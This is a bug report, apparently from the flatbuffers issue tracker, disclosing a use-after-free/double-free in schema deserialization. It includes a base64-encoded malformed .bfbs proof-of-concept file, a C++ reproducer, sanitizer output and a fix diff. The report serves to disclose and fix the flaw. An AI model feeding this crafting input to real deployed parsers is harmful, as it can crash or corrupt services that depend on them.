google / google/flatbuffers

Use-after-free / double-free in Parser::Deserialize via SymbolTable duplicate handling

Open
#9,009 1 comment 0 reactions 0 assignees View on GitHub
Dominant language
C++
Stars
26.5k
Forks
3.7k
PR merge metrics
No merged PRs in 30d

Description

## Summary

`Parser::Deserialize()` frees an `EnumDef` pointer during schema deserialization when a duplicate enum name is detected, but the pointer remains in `SymbolTable::vec`. When the `Parser` destructor runs, `~SymbolTable()` iterates `vec` and deletes the already-freed pointer, causing use-after-free.

## Root Cause

`SymbolTable::Add()` at `idl.h:248` calls `vec.emplace_back(e)` **before** checking for duplicate names. When a duplicate is found, the caller deletes the pointer at `idl_parser.cpp:4462`, but it remains in `vec`. The destructor `~SymbolTable()` at `idl.h:242` iterates `vec` and deletes all entries, hitting the freed pointer.

### Vulnerable Code (idl.h:245-250)
```cpp
bool Add(const std::string &name, T *e) {
vec.emplace_back(e); // Always added to vec FIRST
auto it = dict.find(name);
if (it != dict.end()) return true; // Duplicate! Caller deletes e, but e is in vec
dict[name] = e;
return false;
}
```

### Destructor (idl.h:242-244)
```cpp
~SymbolTable() {
for (auto it = vec.begin(); it != vec.end(); ++it) {
delete *it; // Double-free on the already-deleted pointer
}
}
```

## PoC

```python
# Generate PoC file (176 bytes, .bfbs schema with duplicate enum name)
import base64
poc = base64.b64decode("EAAAAEJGQlMIAAwABAAIAAgAAAAIAAAACAAAAAAAAAACAAAAMAAAABAAAAAMABAABAAIAAAADAAMAAAATAAAAEAAAAAoAAAADAASAAQACAAAAAwADAAAAEQAAAAoAAAAGAAAAAAABgAGAAUABgAAAAADBgAIAAcABgAAAAAAAAMAAAAAAAAAAA0AAABEdXBsaWNhdGVFbnVtAAAADQAAAER1cGxpY2F0ZUVudW0AAAA=")
open("poc.bfbs", "wb").write(poc)
```

```cpp
// Minimal reproduction using public API
#include "flatbuffers/idl.h"
#include "flatbuffers/reflection_generated.h"
#include
#include

int main(int argc, char* argv[]) {
std::ifstream f(argv[1], std::ios::binary);
std::vector data((std::istreambuf_iterator(f)), {});

flatbuffers::Verifier verifier(data.data(), data.size());
if (!reflection::VerifySchemaBuffer(verifier)) return 1;

flatbuffers::Parser parser;
parser.Deserialize(data.data(), data.size());
// UAF triggers in ~Parser() -> ~SymbolTable() when parser goes out of scope
return 0;
}
```

Build & run:
```bash
clang++ -fsanitize=address -g -O1 -DNDEBUG -I include \
repro.cpp src/idl_parser.cpp src/idl_gen_text.cpp src/reflection.cpp src/util.cpp \
-o repro
ASAN_OPTIONS=detect_leaks=0 ./repro poc.bfbs
```

### Sanitizer Output

```
[ERROR] Schema deserialization failed
==PID==ERROR: AddressSanitizer: heap-use-after-free on address 0x5120000002e0
READ of size 8 at 0x5120000002e0 thread T0
#0 in std::vector::begin()
#1 in flatbuffers::SymbolTable::~SymbolTable() idl.h:242
#2 in flatbuffers::EnumDef::~EnumDef()
#3 in flatbuffers::SymbolTable::~SymbolTable() idl.h:243
#4 in flatbuffers::Parser::~Parser() idl.h:1042
#5 in main repro.cpp

freed by thread T0 here:
#0 in operator delete(void*, unsigned long)
#1 in flatbuffers::Parser::Deserialize(reflection::Schema const*) idl_parser.cpp:4462

previously allocated by thread T0 here:
#0 in operator new(unsigned long)
#1 in flatbuffers::Parser::Deserialize(reflection::Schema const*) idl_parser.cpp:4460

SUMMARY: AddressSanitizer: heap-use-after-free idl.h:242 in ~SymbolTable
```

## Suggested Fix

Move `vec.emplace_back(e)` after the duplicate check:

```diff
--- a/include/flatbuffers/idl.h
+++ b/include/flatbuffers/idl.h
bool Add(const std::string &name, T *e) {
- vec.emplace_back(e);
auto it = dict.find(name);
- if (it != dict.end()) return true;
+ if (it != dict.end()) return true; // reject duplicate BEFORE adding to vec
+ vec.emplace_back(e);
dict[name] = e;
return false;
}
```

Found by O2Lab FuzzingBrain.

Contributor guide

Open the contributing guide

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.